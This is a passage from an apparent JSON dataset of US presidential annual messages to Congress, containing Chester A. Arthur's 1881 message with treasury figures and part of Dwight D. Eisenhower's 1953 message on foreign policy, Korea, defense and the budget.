(actual) - For the\nremaining three quarters of the year (estimated)From customs - $57,402,975.67 - $137,597,024.33From internal revenue - 29,662,078.60 - 90,337,921.40From sales of public lands - 2,932,635.17 - 5,067,634.83From tax on circulation and deposits of national banks - 1,557,800.88 -\n1,542,199.12From repayment of interest and sinking fund, Pacific Railway companies -\n521,059.51 - 1,478,940.49From customs fees, fines, penalties, etc. - 298,696.78 - 901,303.22From fees--consular, letters patent, and lands - 863,209.80 - 2,436,790.20From proceeds of sales of Government property - 112,562.23 - 167,437.77From profits on coinage, etc. - 950,229.46 - 3,149,770.54From deposits for surveying public lands - 172,461.31 - 327,538.69From revenues of the District of Columbia - 256,017.99 - 1,643,982.01From miscellaneous sources - 1,237,189.63 - 2,382,810.37Total receipts - 95,966,917.03 - 247,033,082.97The actual and estimated expenses for the same period are:Object - For the quarter ended September 30, 1883 (actual) - For the\nremaining three quarters of the year (estimated)For civil and miscellaneous expenses, including public buildings,\nlight-houses, and collecting the revenue - $15,385,799.42 - $51,114,200.58For Indians - 2,623,390.54 - 4,126,609.46For pensions - 16,285,261.98 - 53,714,738.02For military establishment, including fortifications, river and harbor\nimprovements, and arsenals - 13,512,204.33 - 26,487,795.67For naval establishment, including vessels and machinery, and improvements\nat navy-yards - 4,199,299.69 - 12,300,700.31For expenditures on account of the District of Columbia - 1,138,836.41 -\n2,611,163.59For interest on the public debt - 14,797,297.96 - 39,702,702.04Total ordinary expenditures - 67,942,090.33 - 190,057,909.67Total receipts, actual and estimated - $343,000,000.00Total expenditures, actual and estimated - 258,000,000.00 -", 
+    "name": "Chester A. Arthur"
+}
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+{
+    "date": "December 6, 1881", 
+    "speech": "To the Senate and House of Representatives of the United States:An appalling calamity has befallen the American people since their chosen\nrepresentatives last met in the halls where you are now assembled. We might\nelse recall with unalloyed content the rare prosperity with which\nthroughout the year the nation has been blessed. Its harvests have been\nplenteous; its varied industries have thriven; the health of its people has\nbeen preserved; it has maintained with foreign governments the undisturbed\nrelations of amity and peace. For these manifestations of His favor we owe\nto Him who holds our destiny in His hands the tribute of our grateful\ndevotion.To that mysterious exercise of His will which has taken from us the loved\nand illustrious citizen who was but lately the head of the nation we bow in\nsorrow and submission.The memory of his exalted character, of his noble achievements, and of his\npatriotic life will be treasured forever as a sacred possession of the\nwhole people.The announcement of his death drew from foreign governments and peoples\ntributes of sympathy and sorrow which history will record as signal tokens\nof the kinship of nations and the federation of mankind.The feeling of good will between our own Government and that of Great\nBritain was never more marked than at present. In recognition of this\npleasing fact I directed, on the occasion of the late centennial\ncelebration at Yorktown, that a salute be given to the British flag.Save for the correspondence to which I shall refer hereafter in relation to\nthe proposed canal across the Isthmus of Panama, little has occurred worthy\nof mention in the diplomatic relations of the two countries.Early in the year the Fortune Bay claims were satisfactorily settled by the\nBritish Government paying in full the sum of 15,000 pounds, most of which\nhas been already distributed. As the terms of the settlement included\ncompensation for injuries suffered by our fishermen at Aspee Bay, there has\nbeen retained from the gross award a sum which is deemed adequate for those\nclaims.The participation of Americans in the exhibitions at Melbourne and Sydney\nwill be approvingly mentioned in the reports of the two exhibitions, soon\nto be presented to Congress. They will disclose the readiness of our\ncountrymen to make successful competition in distant fields of enterprise.Negotiations for an international copyright convention are in hopeful\nprogress.The surrender of Sitting Bull and his forces upon the Canadian frontier has\nallayed apprehension, although bodies of British Indians still cross the\nborder in quest of sustenance. Upon this subject a correspondence has been\nopened which promises an adequate understanding. Our troops have orders to\navoid meanwhile all collisions with alien Indians.The presence at the Yorktown celebration of representatives of the French\nRepublic and descendants of Lafayette and of his gallant compatriots who\nwere our allies in the Revolution has served to strengthen the spirit of\ngood will which has always existed between the two nations.You will be furnished with the proceedings of the Bimetallic Conference\nheld during the summer at the city of Paris. No accord was reached, but a\nvaluable interchange of views was had, and the conference will next year be\nrenewed.At the Electrical Exhibition and Congress, also held at Paris, this country\nwas creditably represented by eminent specialists, who, in the absence of\nan appropriation, generously lent their efficient aid at the instance of\nthe State Department. While our exhibitors in this almost distinctively\nAmerican field of achievement have won several valuable awards, I recommend\nthat Congress provide for the repayment of the personal expenses incurred\nin the public interest by the honorary commissioners and delegates.No new questions respecting the status of our naturalized citizens in\nGermany have arisen during the year, and the causes of complaint,\nespecially in Alsace and Lorraine, have practically ceased through the\nliberal action of the Imperial Government in accepting our often-expressed\nviews on the subject. The application of the treaty of 1868 to the lately\nacquired Rhenish provinces has received very earnest attention, and a\ndefinite and lasting agreement on this point is confidently expected. The\nparticipation of the descendants of Baron von Steuben in the Yorktown\nfestivities, and their subsequent reception by their American kinsmen,\nstrikingly evinced the ties of good will which unite the German people and\nour own.Our intercourse with Spain has been friendly. An agreement concluded in\nFebruary last fixes a term for the labors of the Spanish and American\nClaims Commission. The Spanish Government has been requested to pay the\nlate awards of that Commission, and will, it is believed, accede to the\nrequest as promptly and courteously as on former occasions.By recent legislation onerous fines have been imposed upon American\nshipping in Spanish and colonial ports for slight irregularities in\nmanifests. One case of hardship is specially worthy of attention. The bark\nMasonic, bound for Japan, entered Manila in distress, and is there sought\nto be confiscated under Spanish revenue laws for an alleged shortage in her\ntransshipped cargo. Though efforts for her relief have thus far proved\nunavailing, it is expected that the whole matter will be adjusted in a\nfriendly spirit.The Senate resolutions of condolence on the assassination of the Czar\nAlexander II were appropriately communicated to the Russian Government,\nwhich in turn has expressed its sympathy in our late national bereavement.\nIt is desirable that our cordial relations with Russia should be\nstrengthened by proper engagements assuring to peaceable Americans who\nvisit the Empire the consideration which is due to them as citizens of a\nfriendly state. This is especially needful with respect to American\nIsraelites, whose classification with the native Hebrews has evoked\nenergetic remonstrances from this Government.A supplementary consular agreement with Italy has been sanctioned and\nproclaimed, which puts at rest conflicts of jurisdiction in the case of\ncrimes on shipboard.Several important international conferences have been held in Italy during\nthe year. At the Geographical Congress of Venice, the Beneficence Congress\nof Milan, and the Hygienic Congress of Turin this country was represented\nby delegates from branches of the public service or by private citizens\nduly accredited in an honorary capacity. It is hoped that Congress will\ngive such prominence to the results of their participation as they may seem\nto deserve.The abolition of all discriminating duties against such colonial\nproductions of the Dutch East Indies as are imported hither from Holland\nhas been already considered by Congress. I trust that at the present\nsession the matter may be favorably concluded.The insecurity of life and property in many parts of Turkey has given rise\nto correspondence with the Porte looking particularly to the better\nprotection of American missionaries in the Empire. The condemned murderer\nof the eminent missionary Dr. Justin W. Parsons has not yet been executed,\nalthough this Government has repeatedly demanded that exemplary justice be\ndone.The Swiss Government has again solicited the good offices of our diplomatic\nand consular agents for the protection of its citizens in countries where\nit is not itself represented. This request has, within proper limits, been\ngranted.Our agents in Switzerland have been instructed to protest against the\nconduct of the authorities of certain communes in permitting the emigration\nto this country of criminals and other objectionable persons. Several such\npersons, through the cooperation of the commissioners of emigration at New\nYork, have been sent back by the steamers which brought them. A continuance\nof this course may prove a more effectual remedy than diplomatic\nremonstrance.Treaties of commerce and navigation and for the regulation of consular\nprivileges have been concluded with Roumania and Servia since their\nadmission into the family of European States.As is natural with contiguous states having like institutions and like aims\nof advancement and development, the friendship of the United States and\nMexico has been constantly maintained. This Government has lost no occasion\nof encouraging the Mexican Government to a beneficial realization of the\nmutual advantages which will result from more intimate commercial\nintercourse and from the opening of the rich interior of Mexico to railway\nenterprise. I deem it important that means be provided to restrain the\nlawlessness unfortunately so common on the frontier and to suppress the\nforays of the reservation Indians on either side of the Rio Grande.The neighboring States of Central America have preserved internal peace,\nand their outward relations toward us have been those of intimate\nfriendship. There are encouraging signs of their growing disposition to\nsubordinate their local interests to those which are common to them by\nreason of their geographical relations.The boundary dispute between Guatemala and Mexico has afforded this\nGovernment an opportunity to exercise its good offices for preventing a\nrupture between those States and for procuring a peaceable solution of the\nquestion. I cherish strong hope that in view of our relations of amity with\nboth countries our friendly counsels may prevail.A special envoy of Guatemala has brought to me the condolences of his\nGovernment and people on the death of President Garfield.The Costa Rican Government lately framed an engagement with Colombia for\nsettling by arbitration the boundary question between those countries,\nproviding that the post of arbitrator should be offered successively to the\nKing of the Belgians, the King of Spain, and the President of the Argentine\nConfederation. The King of the Belgians has declined to act, but I am not\nas yet advised of the action of the King of Spain. As we have certain\ninterests in the disputed territory which are protected by our treaty\nengagements with one of the parties, it is important that the arbitration\nshould not without our consent affect our rights, and this Government has\naccordingly thought proper to make its views known to the parties to the\nagreement, as well as to intimate them to the Belgian and Spanish\nGovernments.The questions growing out of the proposed interoceanic waterway across the\nIsthmus of Panama are of grave national importance. This Government has not\nbeen unmindful of the solemn obligations imposed upon it by its compact of\n1846 with Colombia, as the independent and sovereign mistress of the\nterritory crossed by the canal, and has sought to render them effective by\nfresh engagements with the Colombian Republic looking to their practical\nexecution. The negotiations to this end, after they had reached what\nappeared to be a mutually satisfactory solution here, were met in Colombia\nby a disavowal of the powers which its envoy had assumed and by a proposal\nfor renewed negotiation on a modified basis.Meanwhile this Government learned that Colombia had proposed to the\nEuropean powers to join in a guaranty of the neutrality of the proposed\nPanama canal--a guaranty which would be in direct contravention of our\nobligation as the sole guarantor of the integrity of Colombian territory\nand of the neutrality of the canal itself. My lamented predecessor felt it\nhis duty to place before the European powers the reasons which make the\nprior guaranty of the United States indispensable, and for which the\ninterjection of any foreign guaranty might be regarded as a superfluous and\nunfriendly act.Foreseeing the probable reliance of the British Government on the\nprovisions of the Clayton-Bulwer treaty of 1850 as affording room for a\nshare in the guaranties which the United States covenanted with Colombia\nfour years before, I have not hesitated to supplement the action of my\npredecessor by proposing to Her Majesty's Government the modification of\nthat instrument and the abrogation of such clauses thereof as do not\ncomport with the obligations of the United States toward Colombia or with\nthe vital needs of the two friendly parties to the compact.This Government sees with great concern the continuance of the hostile\nrelations between Chile, Bolivia, and Peru. An early peace between these\nRepublics is much to be desired, not only that they may themselves be\nspared further misery and bloodshed, but because their continued antagonism\nthreatens consequences which are, in my judgment, dangerous to the\ninterests of republican government on this continent and calculated to\ndestroy the best elements of our free and peaceful civilization.As in the present excited condition of popular feeling in these countries\nthere has been serious misapprehension of the position of the United\nStates, and as separate diplomatic intercourse with each through\nindependent ministers is sometimes subject, owing to the want of prompt\nreciprocal communication, to temporary misunderstanding, I have deemed it\njudicious at the present time to send a special envoy accredited to all and\neach of them, and furnished with general instructions which will, I trust,\nenable him to bring these powers into friendly relations.The Government of Venezuela maintains its attitude of warm friendship and\ncontinues with great regularity its payment of the monthly quota of the\ndiplomatic debt. Without suggesting the direction in which Congress should\nact, I ask its attention to the pending questions affecting the\ndistribution of the sums thus far received.The relations between Venezuela and France growing out of the same debt\nhave been for some time past in an unsatisfactory state, and this\nGovernment, as the neighbor and one of the largest creditors of Venezuela,\nhas interposed its influence with the French Government with the view of\nproducing a friendly and honorable adjustment.I regret that the commercial interests between the United States and\nBrazil, from which great advantages were hoped a year ago, have suffered\nfrom the withdrawal of the American lines of communication between the\nBrazilian ports and our own.Through the efforts of our minister resident at Buenos Ayres and the United\nStates minister at Santiago, a treaty has been concluded between the\nArgentine Republic and Chile, disposing of the long-pending Patagonian\nboundary question. It is a matter of congratulation that our Government has\nbeen afforded the opportunity of successfully exerting its good influence\nfor the prevention of disagreements between these Republics of the American\ncontinent.I am glad to inform you that the treaties lately negotiated with China have\nbeen duly ratified on both sides and the exchange made at Peking.\nLegislation is necessary to carry their provisions into effect. The prompt\nand friendly spirit with which the Chinese Government, at the request of\nthe United States, conceded the modification of existing treaties should\nsecure careful regard for the interests and susceptibilities of that\nGovernment in the enactment of any laws relating to Chinese immigration.Those clauses of the treaties which forbid the participation of citizens or\nvessels of the United States in the opium trade will doubtless receive your\napproval. They will attest the sincere interest which our people and\nGovernment feel in the commendable efforts of the Chinese Government to put\na stop to this demoralizing and destructive traffic.In relation both to China and Japan some changes are desirable in our\npresent system of consular jurisdiction. I hope at some future time to lay\nbefore you a scheme for its improvement in the entire East.The intimacy between our own country and Japan, the most advanced of the\nEastern nations, continues to be cordial. I am advised that the Emperor\ncontemplates the establishment of full constitutional government, and that\nhe has already summoned a parliamentary congress for the purpose of\neffecting the change. Such a remarkable step toward complete assimilation\nwith the Western system can not fail to bring Japan into closer and more\nbeneficial relationship with ourselves as the chief Pacific power.A question has arisen in relation to the exercise in that country of the\njudicial functions conferred upon our ministers and consuls. The\nindictment, trial, and conviction in the consular court at Yokohama of John\nRoss, a merchant seaman on board an American vessel, have made it necessary\nfor the Government to institute a careful examination into the nature and\nmethods of this jurisdiction.It appeared that Ross was regularly shipped under the flag of the United\nStates, but was by birth a British subject. My predecessor felt it his duty\nto maintain the position that during his service as a regularly shipped\nseaman on board an American merchant vessel Ross was subject to the laws of\nthat service and to the jurisdiction of the United States consular\nauthorities.I renew the recommendation which has been heretofore urged by the Executive\nupon the attention of Congress, that after the deduction of such amount as\nmay be found due to American citizens the balance of the indemnity funds\nheretofore obtained from China and Japan, and which are now in the hands of\nthe State Department, be returned to the Governments of those countries.The King of Hawaii, in the course of his homeward return after a journey\naround the world, has lately visited this country. While our relations with\nthat Kingdom are friendly, this Government has viewed with concern the\nefforts to seek replenishment of the diminishing population of the islands\nfrom outward sources, to a degree which may impair the native sovereignty\nand independence, in which the United States was among the first to testify\na lively interest.Relations of unimpaired amity have been maintained throughout the year with\nthe respective Governments of Austria-Hungary, Belgium, Denmark, Hayti,\nParaguay and Uruguay, Portugal, and Sweden and Norway. This may also be\nsaid of Greece and Ecuador, although our relations with those States have\nfor some years been severed by the withdrawal of appropriations for\ndiplomatic representatives at Athens and Quito. It seems expedient to\nrestore those missions, even on a reduced scale, and I decidedly recommend\nsuch a course with respect to Ecuador, which is likely within the near\nfuture to play an important part among the nations of the Southern\nPacific.At its last extra session the Senate called for the text of the Geneva\nconvention for the relief of the wounded in war. I trust that this action\nforeshadows such interest in the subject as will result in the adhesion of\nthe United States to that humane and commendable engagement.I invite your attention to the propriety of adopting the new code of\ninternational rules for the prevention of collisions on the high seas and\nof conforming the domestic legislation of the United States thereto, so\nthat no confusion may arise from the application of conflicting rules in\nthe case of vessels of different nationalities meeting in tidal waters.\nThese international rules differ but slightly from our own. They have been\nadopted by the Navy Department for the governance of the war ships of the\nUnited States on the high seas and in foreign waters, and, through the\naction of the State Department in disseminating the rules and in\nacquainting shipmasters with the option of conforming to them without the\njurisdictional waters of the United States, they are now very generally\nknown and obeyed.The State Department still continues to publish to the country the trade\nand manufacturing reports received from its officers abroad. The success of\nthis course warrants its continuance and such appropriation as may be\nrequired to meet the rapidly increasing demand for these publications. With\nspecial reference to the Atlanta Cotton Exposition, the October number of\nthe reports was devoted to a valuable collection of papers on the\ncotton-goods trade of the world.The International Sanitary Conference for which, in 1879, Congress made\nprovision assembled in this city early in January last, and its sessions\nwere prolonged until March. Although it reached no specific conclusions\naffecting the future action of the participant powers, the interchange of\nviews proved to be most valuable. The full protocols of the sessions have\nbeen already presented to the Senate.As pertinent to this general subject, I call your attention to the\noperations of the National Board of Health. Established by act of Congress\napproved March 3, 1879, its sphere of duty was enlarged by the act of June\n2 in the same year. By the last-named act the board was required to\ninstitute such measures as might be deemed necessary for preventing the\nintroduction of contagious or infectious diseases from foreign countries\ninto the United States or from one State into another.The execution of the rules and regulations prepared by the board and\napproved by my predecessor has done much to arrest the progress of epidemic\ndisease, and has thus rendered substantial service to the nation.The International Sanitary Conference, to which I have referred, adopted a\nform of a bill of health to be used by all vessels seeking to enter the\nports of the countries whose representatives participated in its\ndeliberations. This form has since been prescribed by the National Board of\nHealth and incorporated with its rules and regulations, which have been\napproved by me in pursuance of law.The health of the people is of supreme importance. All measures looking to\ntheir protection against the spread of contagious diseases and to the\nincrease of our sanitary knowledge for such purposes deserve attention of\nCongress.The report of the Secretary of the Treasury presents in detail a highly\nsatisfactory exhibit of the state of the finances and the condition of the\nvarious branches of the public service administered by that Department.The ordinary revenues from all sources for the fiscal year ending June 30,\n1881, were:From customs - $198,159,676.02From internal revenue - 135,264,385.51From sales of public lands - 2,201,863.17From tax on circulation and deposits of national banks - 8,116,115.72From repayment of interest by Pacific Railway companies - 810,833.80From sinking fund for Pacific Railway companies - 805,180.54From customs fees, fines, penalties, etc. - 1,225,514.86From fees--consular, letters patent, and lands - 2,244,983.98From proceeds of sales of Government property - 262,174.00From profits on coinage - 3,468,485.61From revenues of the District of Columbia - 2,016,199.23From miscellaneous sources - 6,206,880.13Total ordinary receipts - 360,782,292.57The ordinary expenditures for the same period were:For civil expenses - $17,941,177.19For foreign intercourse - 1,093,954.92For Indians - 6,514,161.09For pensions - 50,059,279.62For the military establishment, including river and harbor improvements\nand arsenals - 40,466,460.55For the naval establishment, including vessels, machinery, and\nimprovements at navy-yards - 15,686,671.66For miscellaneous expenditures, including public buildings,\nlight-houses, and collecting the revenue - 41,837,280.57For expenditures on account of the District of Columbia - 3,543,912.03For interest on the public debt - 82,508,741.18For premium on bonds purchased - 1,061,248.78Total ordinary expenditures - 260,712,887.59Leaving a surplus revenue of $100,069,404.98, which was applied as\nfollows:To the redemption of--Bonds for the sinking fund - $74,371,200.00Fractional currency for the sinking fund - 109,001.05Loan of February, 1861 - 7,418,000.00Ten-forties of 1864 - 2,016,150.00Five-twenties of 1862 - 18,300.00Five-twenties of 1864 - 3,400.00Five-twenties of 1865 - 37,300.00Consols of 1865 - 143,150.00Consols of 1867 - 959,150.00Consols of 1868 - 337,400.00Texan indemnity stock - 1,000.00Old demand, compound-interest, and other notes - 18,330.00And to the increase of cash in the Treasury - 14,637,023.93 -", 
+    "name": "Chester A. Arthur"
+}
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+{
+    "date": "February 2, 1953", 
+    "speech": "Mr. President, Mr. Speaker, Members of the Eighty-third Congress:I welcome the honor of appearing before you to deliver my first message to\nthe Congress.It is manifestly the joint purpose of the congressional leadership and of\nthis administration to justify the summons to governmental responsibility\nissued last November by the American people. The grand labors of this\nleadership will involve:Application of America's influence in world affairs with such fortitude and\nsuch foresight that it will deter aggression and eventually secure peace;Establishment of a national administration of such integrity and such\nefficiency that its honor at home will ensure respect abroad;Encouragement of those incentives that inspire creative initiative in our\neconomy, so that its productivity may fortify freedom everywhere; andDedication to the well-being of all our citizens and to the attainment of\nequality of opportunity for all, so that our Nation will ever act with the\nstrength of unity in every task to which it is called.The purpose of this message is to suggest certain lines along which our\njoint efforts may immediately be directed toward realization of these four\nruling purposes.The time that this administration has been in office has been too brief to\npermit preparation of a detailed and comprehensive program of recommended\naction to cover all phases of the responsibilities that devolve upon our\ncountry's new leaders. Such a program will be filled out in the weeks ahead\nas, after appropriate study, I shall submit additional recommendations for\nyour consideration. Today can provide only a sure and substantial\nbeginning.II.Our country has come through a painful period of trial and disillusionment\nsince the victory of 1945. We anticipated a world of peace and cooperation.\nThe calculated pressures of aggressive communism have forced us, instead,\nto live in a world of turmoil.From this costly experience we have learned one clear lesson. We have\nlearned that the free world cannot indefinitely remain in a posture of\nparalyzed tension, leaving forever to the aggressor the choice of time and\nplace and means to cause greatest hurt to us at least cost to himself.This administration has, therefore, begun the definition of a new, positive\nforeign policy. This policy will be governed by certain fixed ideas. They\nare these:(1) Our foreign policy must be clear, consistent, and confident. This means\nthat it must be the product of genuine, continuous cooperation between the\nexecutive and the legislative branches of this Government. It must be\ndeveloped and directed in the spirit of true bipartisanship.(2) The policy we embrace must be a coherent global policy. The freedom we\ncherish and defend in Europe and in the Americas is no different from the\nfreedom that is imperiled in Asia.(3) Our policy, dedicated to making the free world secure, will envision\nall peaceful methods and devices--except breaking faith with our friends.\nWe shall never acquiesce in the enslavement of any people in order to\npurchase fancied gain for ourselves. I shall ask the Congress at a later\ndate to join in an appropriate resolution making clear that this Government\nrecognizes no kind of commitment contained in secret understandings of the\npast with foreign governments which permit this kind of enslavement.(4) The policy we pursue will recognize the truth that no single country,\neven one so powerful as ours, can alone defend the liberty of all nations\nthreatened by Communist aggression from without or subversion within.\nMutual security means effective mutual cooperation. For the United States,\nthis means that, as a matter of common sense and national interest, we\nshall give help to other nations in the measure that they strive earnestly\nto do their full share of the common task. No wealth of aid could\ncompensate for poverty of spirit. The heart of every free nation must be\nhonestly dedicated to the preserving of its own independence and security.(5) Our policy will be designed to foster the advent of practical unity in\nWestern Europe. The nations of that region have contributed notably to the\neffort of sustaining the security of the free world. From the jungles of\nIndochina and Malaya to the northern shores of Europe, they have vastly\nimproved their defensive strength. Where called upon to do so, they have\nmade costly and bitter sacrifices to hold the line of freedom.But the problem of security demands closer cooperation among the nations of\nEurope than has been known to date. Only a more closely integrated economic\nand political system can provide the greatly increased economic strength\nneeded to maintain both necessary military readiness and respectable living\nstandards.Europe's enlightened leaders have long been aware of these facts. All the\ndevoted work that has gone into the Schuman plan, the European Army, and\nthe Strasbourg Conference has testified to their vision and determination.\nThese achievements are the more remarkable when we realize that each of\nthem has marked a victory--for France and for Germany alike over the\ndivisions that in the past have brought such tragedy to these two great\nnations and to the world.The needed unity of Western Europe manifestly cannot be manufactured from\nwithout; it can only be created from within. But it is right and necessary\nthat we encourage Europe's leaders by informing them of the high value we\nplace upon the earnestness of their efforts toward this goal. Real progress\nwill be conclusive evidence to the American people that our material\nsacrifices in the cause of collective security are matched by essential\npolitical, economic, and military accomplishments in Western Europe.(6) Our foreign policy will recognize the importance of profitable and\nequitable world trade.A substantial beginning can and should be made by our friends themselves.\nEurope, for example, is now marked by checkered areas of labor surplus and\nlabor shortage, of agricultural areas needing machines and industrial areas\nneeding food. Here and elsewhere we can hope that our friends will take the\ninitiative in creating broader markets and more dependable currencies, to\nallow greater exchange of goods and services among themselves.Action along these lines can create an economic environment that will\ninvite vital help from us.This help includes:First: Revising our customs regulations to remove procedural obstacles to\nprofitable trade. I further recommend that the Congress take the Reciprocal\nTrade Agreements Act under immediate study and extend it by appropriate\nlegislation. This objective must not ignore legitimate safeguarding of\ndomestic industries, agriculture, and labor standards. In all executive\nstudy and recommendations on this problem labor and management and farmers\nalike will be earnestly consulted.Second: Doing whatever Government properly can to encourage the flow of\nprivate American investment abroad. This involves, as a serious and\nexplicit purpose of our foreign policy, the encouragement of a hospitable\nclimate for such investment in foreign nations.Third: Availing ourselves of facilities overseas for the economical\nproduction of manufactured articles which are needed for mutual defense and\nwhich are not seriously competitive with our own normal peacetime\nproduction.Fourth: Receiving from the rest of the world, in equitable exchange for\nwhat we supply, greater amounts of important raw materials which we do not\nourselves possess in adequate quantities.III.In this general discussion of our foreign policy, I must make special\nmention of the war in Korea.This war is, for Americans, the most painful phase of Communist aggression\nthroughout the world. It is clearly a part of the same calculated assault\nthat the aggressor is simultaneously pressing in Indochina and in Malaya,\nand of the strategic situation that manifestly embraces the island of\nFormosa and the Chinese Nationalist forces there. The working out of any\nmilitary solution to the Korean war will inevitably affect all these\nareas.The administration is giving immediate increased attention to the\ndevelopment of additional Republic of Korea forces. The citizens of that\ncountry have proved their capacity as fighting men and their eagerness to\ntake a greater share in the defense of their homeland. Organization,\nequipment, and training will allow them to do so. Increased assistance to\nKorea for this purpose conforms fully to our global policies.In June 1950, following the aggressive attack on the Republic of Korea, the\nUnited States Seventh Fleet was instructed both to prevent attack upon\nFormosa and also to insure that Formosa should not be used as a base of\noperations against the Chinese Communist mainland.This has meant, in effect, that the United States Navy was required to\nserve as a defensive arm of Communist China. Regardless of the situation in\n1950, since the date of that order the Chinese Communists have invaded\nKorea to attack the United Nations forces there. They have consistently\nrejected the proposals of the United Nations Command for an armistice. They\nrecently joined with Soviet Russia in rejecting the armistice proposal\nsponsored in the United Nations by the Government of India. This proposal\nhad been accepted by the United States and 53 other nations.Consequently there is no longer any logic or sense in a condition that\nrequired the United States Navy to assume defensive responsibilities on\nbehalf of the Chinese Communists, thus permitting those Communists, with\ngreater impunity, to kill our soldiers and those of our United Nations\nallies in Korea.I am, therefore, issuing instructions that the Seventh Fleet no longer be\nemployed to shield Communist China. This order implies no aggressive intent\non our part. But we certainly have no obligation to protect a nation\nfighting us in Korea.IV.Our labor for peace in Korea and in the world imperatively demands the\nmaintenance by the United States of a strong fighting service ready for any\ncontingency.Our problem is to achieve adequate military strength within the limits of\nendurable strain upon our economy. To amass military power without regard\nto our economic capacity would be to defend ourselves against one kind of\ndisaster by inviting another.Both military and economic objectives demand a single national military\npolicy, proper coordination of our armed services, and effective\nconsolidation of certain logistics activities.We must eliminate waste and duplication of effort in the armed services.We must realize clearly that size alone is not sufficient. The biggest\nforce is not necessarily the best--and we want the best.We must not let traditions or habits of the past stand in the way of\ndeveloping an efficient military force. All members of our forces must be\never mindful that they serve under a single flag and for a single cause.We must effectively integrate our armament programs and plan them in such\ncareful relation to our industrial facilities that we assure the best use\nof our manpower and our materials.Because of the complex technical nature of our military organization and\nbecause of the security reasons involved, the Secretary of Defense must\ntake the initiative and assume the responsibility for developing plans to\ngive our Nation maximum safety at minimum cost. Accordingly, the new\nSecretary of Defense and his civilian and military associates will, in the\nfuture, recommend such changes in present laws affecting our defense\nactivities as may be necessary to clarify responsibilities and improve the\ntotal effectiveness of our defense effort.This effort must always conform to policies laid down in the National\nSecurity Council.The statutory function of the National Security Council is to assist the\nPresident in the formulation and coordination of significant domestic,\nforeign, and military policies required for the security of the Nation. In\nthese days of tension it is essential that this central body have the\nvitality to perform effectively its statutory role. I propose to see that\nit does so.Careful formulation of policies must be followed by clear understanding of\nthem by all peoples. A related need, therefore, is to make more effective\nall activities of the Government related to international information.I have recently appointed a committee of representative and informed\ncitizens to survey this subject and to make recommendations in the near\nfuture for legislative, administrative, or other action.A unified and dynamic effort in this whole field is essential to the\nsecurity of the United States and of the other peoples in the community of\nfree nations. There is but one sure way to avoid total war--and that is to\nwin the cold war.While retaliatory power is one strong deterrent to a would-be aggressor,\nanother powerful deterrent is defensive power. No enemy is likely to\nattempt an attack foredoomed to failure.Because the building of a completely impenetrable defense against attack is\nstill not possible, total defensive strength must include civil defense\npreparedness. Because we have incontrovertible evidence that Soviet Russia\npossesses atomic weapons, this kind of protection becomes sheer necessity.Civil defense responsibilities primarily belong to the State and local\ngovernments--recruiting, training, and organizing volunteers to meet any\nemergency. The immediate job of the Federal Government is to provide\nleadership, to supply technical guidance, and to continue to strengthen its\ncivil defense stockpile of medical, engineering, and related supplies and\nequipment. This work must go forward without lag.V.I have referred to the inescapable need for economic health and strength if\nwe are to maintain adequate military power and exert influential leadership\nfor peace in the world.Our immediate task is to chart a fiscal and economic policy that can:(1) Reduce the planned deficits and then balance the budget, which means,\namong other things, reducing Federal expenditures to the safe minimum;(2) Meet the huge costs of our defense;(3) Properly handle the burden of our inheritance of debt and obligations;(4) Check the menace of inflation;(5) Work toward the earliest possible reduction of the tax burden;(6) Make constructive plans to encourage the initiative of our citizens.It is important that all of us understand that this administration does not\nand cannot begin its task with a clean slate. Much already has been written\non the record, beyond our power quickly to erase or to amend. This record\nincludes our inherited burden of indebtedness and obligations and\ndeficits.The current year's budget, as you know, carries a 5.9 billion dollar\ndeficit; and the budget, which was presented to you before this\nadministration took office, indicates a budgetary deficit of 9.9 billion\nfor the fiscal year ending June 30, 1954. The national debt is now more\nthan 265 billion dollars. In addition, the accumulated obligational\nauthority of the Federal Government for future payment totals over 80\nbillion dollars. Even this amount is exclusive of large contingent\nliabilities, so numerous and extensive as to be almost beyond description.The bills for the payment of nearly all of the 80 billion dollars of\nobligations will be presented during the next 4 years. These bills, added\nto the current costs of government we must meet, make a formidable burden.The present authorized Government-debt limit is 275 billion dollars. The\nforecast presented by the outgoing administration with the fiscal year 1954\nbudget indicates that--before the end of the fiscal year and at the peak of\ndemand for payments during the year--the total Government debt may approach\nand even exceed that limit. Unless budgeted deficits are checked, the\nmomentum of past programs will force an increase of the statutory debt\nlimit.Permit me this one understatement: to meet and to correct this situation\nwill not be easy.Permit me this one assurance: every department head and I are determined to\ndo everything we can to resolve it.The first order of business is the elimination of the annual deficit. This\ncannot be achieved merely by exhortation. It demands the concerted action\nof all those in responsible positions in the Government and the earnest\ncooperation of the Congress.Already, we have begun an examination of the appropriations and\nexpenditures of all departments in an effort to find significant items that\nmay be decreased or canceled without damage to our essential requirements.Getting control of the budget requires also that State and local\ngovernments and interested groups of citizens restrain themselves in their\ndemands upon the Congress that the Federal Treasury spend more and more\nmoney for all types of projects.A balanced budget is an essential first measure in checking further\ndepreciation in the buying power of the dollar. This is one of the critical\nsteps to be taken to bring an end to planned inflation. Our purpose is to\nmanage the Government's finances so as to help and not hinder each family\nin balancing its own budget.Reduction of taxes will be justified only as we show we can succeed in\nbringing the budget under control. As the budget is balanced and inflation\nchecked, the tax burden that today stifles initiative can and must be\neased.Until we can determine the extent to which expenditures can be reduced, it\nwould not be wise to reduce our revenues.Meanwhile, the tax structure as a whole demands review. The Secretary of\nthe Treasury is undertaking this study immediately. We must develop a\nsystem of taxation which will impose the least possible obstacle to the\ndynamic growth of the country. This includes particularly real opportunity\nfor the growth of small businesses. Many readjustments in existing taxes\nwill be necessary to serve these objectives and also to remove existing\ninequities. Clarification and simplification in the tax laws as well as the\nregulations will be undertaken.In the entire area of fiscal policy--which must, in its various aspects, be\ntreated in recommendations to the Congress in coming weeks--there can now\nbe stated certain basic facts and principles.First. It is axiomatic that our economy is a highly complex and sensitive\nmechanism. Hasty and ill-considered action of any kind could seriously\nupset the subtle equation that encompasses debts, obligations,\nexpenditures, defense demands, deficits, taxes, and the general economic\nhealth of the Nation. Our goals can be clear, our start toward them can be\nimmediate--but action must be gradual.Second. It is clear that too great a part of the national debt comes due in\ntoo short a time. The Department of the Treasury will undertake at suitable\ntimes a program of extending part of the debt over longer periods and\ngradually placing greater amounts in the hands of longer-term investors.Third. Past differences in policy between the Treasury and the Federal\nReserve Board have helped to encourage inflation. Henceforth, I expect that\ntheir single purpose shall be to serve the whole Nation by policies\ndesigned to stabilize the economy and encourage the free play of our\npeople's genius for individual initiative.In encouraging this initiative, no single item in our current problems has\nreceived more thoughtful consideration by my associates, and by the many\nindividuals called into our counsels, than the matter of price and wage\ncontrol by law.The great economic strength of our democracy has developed in an atmosphere\nof freedom. The 